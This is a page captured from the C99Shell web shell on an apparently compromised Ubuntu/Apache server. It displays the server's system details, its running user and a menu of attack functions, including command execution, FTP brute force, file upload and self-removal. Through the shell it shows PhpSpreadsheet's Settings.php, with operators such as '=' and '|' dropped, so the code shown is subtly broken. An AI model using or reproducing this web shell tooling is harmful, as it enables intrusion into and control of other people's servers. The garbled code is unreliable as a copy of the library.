!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/   drwxr-xr-x
Free 13.19 GB of 57.97 GB (22.75%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Settings.php (6.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpOffice\PhpSpreadsheet;

use 
PhpOffice\PhpSpreadsheet\Calculation\Calculation;
use 
PhpOffice\PhpSpreadsheet\Chart\Renderer\IRenderer;
use 
PhpOffice\PhpSpreadsheet\Collection\Memory;
use 
Psr\Http\Client\ClientInterface;
use 
Psr\Http\Message\RequestFactoryInterface;
use 
Psr\SimpleCache\CacheInterface;

class 
Settings
{
    
/**
     * Class name of the chart renderer used for rendering charts
     * eg: PhpOffice\PhpSpreadsheet\Chart\Renderer\JpGraph.
     *
     * @var string
     */
    
private static $chartRenderer;

    
/**
     * Default options for libxml loader.
     *
     * @var int
     */
    
private static $libXmlLoaderOptions null;

    
/**
     * Allow/disallow libxml_disable_entity_loader() call when not thread safe.
     * Default behaviour is to do the check, but if you're running PHP versions
     *      7.2 < 7.2.1
     * then you may need to disable this check to prevent unwanted behaviour in other threads
     * SECURITY WARNING: Changing this flag is not recommended.
     *
     * @var bool
     */
    
private static $libXmlDisableEntityLoader true;

    
/**
     * The cache implementation to be used for cell collection.
     *
     * @var CacheInterface
     */
    
private static $cache;

    
/**
     * The HTTP client implementation to be used for network request.
     *
     * @var null|ClientInterface
     */
    
private static $httpClient;

    
/**
     * @var null|RequestFactoryInterface
     */
    
private static $requestFactory;

    
/**
     * Set the locale code to use for formula translations and any special formatting.
     *
     * @param string $locale The locale code to use (e.g. "fr" or "pt_br" or "en_uk")
     *
     * @return bool Success or failure
     */
    
public static function setLocale($locale)
    {
        return 
Calculation::getInstance()->setLocale($locale);
    }

    
/**
     * Identify to PhpSpreadsheet the external library to use for rendering charts.
     *
     * @param string $rendererClass Class name of the chart renderer
     *    eg: PhpOffice\PhpSpreadsheet\Chart\Renderer\JpGraph
     */
    
public static function setChartRenderer($rendererClass): void
    
{
        if (!
is_a($rendererClassIRenderer::class, true)) {
            throw new 
Exception('Chart renderer must implement ' IRenderer::class);
        }

        
self::$chartRenderer $rendererClass;
    }

    
/**
     * Return the Chart Rendering Library that PhpSpreadsheet is currently configured to use.
     *
     * @return null|string Class name of the chart renderer
     *    eg: PhpOffice\PhpSpreadsheet\Chart\Renderer\JpGraph
     */
    
public static function getChartRenderer()
    {
        return 
self::$chartRenderer;
    }

    
/**
     * Set default options for libxml loader.
     *
     * @param int $options Default options for libxml loader
     */
    
public static function setLibXmlLoaderOptions($options): void
    
{
        if (
$options === null && defined('LIBXML_DTDLOAD')) {
            
$options LIBXML_DTDLOAD LIBXML_DTDATTR;
        }
        
self::$libXmlLoaderOptions $options;
    }

    
/**
     * Get default options for libxml loader.
     * Defaults to LIBXML_DTDLOAD | LIBXML_DTDATTR when not set explicitly.
     *
     * @return int Default options for libxml loader
     */
    
public static function getLibXmlLoaderOptions()
    {
        if (
self::$libXmlLoaderOptions === null && defined('LIBXML_DTDLOAD')) {
            
self::setLibXmlLoaderOptions(LIBXML_DTDLOAD LIBXML_DTDATTR);
        } elseif (
self::$libXmlLoaderOptions === null) {
            
self::$libXmlLoaderOptions true;
        }

        return 
self::$libXmlLoaderOptions;
    }

    
/**
     * Enable/Disable the entity loader for libxml loader.
     * Allow/disallow libxml_disable_entity_loader() call when not thread safe.
     * Default behaviour is to do the check, but if you're running PHP versions
     *      7.2 < 7.2.1
     * then you may need to disable this check to prevent unwanted behaviour in other threads
     * SECURITY WARNING: Changing this flag to false is not recommended.
     *
     * @param bool $state
     */
    
public static function setLibXmlDisableEntityLoader($state): void
    
{
        
self::$libXmlDisableEntityLoader = (bool) $state;
    }

    
/**
     * Return the state of the entity loader (disabled/enabled) for libxml loader.
     *
     * @return bool $state
     */
    
public static function getLibXmlDisableEntityLoader()
    {
        return 
self::$libXmlDisableEntityLoader;
    }

    
/**
     * Sets the implementation of cache that should be used for cell collection.
     */
    
public static function setCache(CacheInterface $cache): void
    
{
        
self::$cache $cache;
    }

    
/**
     * Gets the implementation of cache that should be used for cell collection.
     *
     * @return CacheInterface
     */
    
public static function getCache()
    {
        if (!
self::$cache) {
            
self::$cache = new Memory();
        }

        return 
self::$cache;
    }

    
/**
     * Set the HTTP client implementation to be used for network request.
     */
    
public static function setHttpClient(ClientInterface $httpClientRequestFactoryInterface $requestFactory): void
    
{
        
self::$httpClient $httpClient;
        
self::$requestFactory $requestFactory;
    }

    
/**
     * Unset the HTTP client configuration.
     */
    
public static function unsetHttpClient(): void
    
{
        
self::$httpClient null;
        
self::$requestFactory null;
    }

    
/**
     * Get the HTTP client implementation to be used for network request.
     */
    
public static function getHttpClient(): ClientInterface
    
{
        
self::assertHttpClient();

        return 
self::$httpClient;
    }

    
/**
     * Get the HTTP request factory.
     */
    
public static function getRequestFactory(): RequestFactoryInterface
    
{
        
self::assertHttpClient();

        return 
self::$requestFactory;
    }

    private static function 
assertHttpClient(): void
    
{
        if (!
self::$httpClient || !self::$requestFactory) {
            throw new 
Exception('HTTP client must be configured via Settings::setHttpClient() to be able to use WEBSERVICE function.');
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0091 ]--